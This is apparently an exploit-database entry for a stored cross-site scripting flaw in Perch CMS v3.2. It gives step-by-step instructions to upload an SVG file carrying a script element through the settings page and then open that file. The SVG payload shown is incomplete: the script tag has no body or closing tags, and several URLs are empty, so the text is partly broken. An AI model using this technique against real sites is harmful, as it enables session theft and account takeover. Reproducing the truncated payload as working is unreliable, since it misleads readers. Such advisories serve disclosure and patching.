Exploit Title: Perch v3.2 - Stored XSS
Application: Perch Cms
Version: v3.2
Bugs:  XSS
Technology: PHP
Vendor URL:
Software Link:
Author: Mirabbas Ağalarov
Tested on: Linux 

2. Technical Details & POC
1. login to account
2. go to http://localhost/perch_v3.2/perch/core/settings/
3. upload svg file

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "">

<svg version="1.1" baseProfile="full" xmlns="">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
   <script type="text/javascript">
4. go to svg file (http://localhost/perch_v3.2/perch/resources/malas.svg)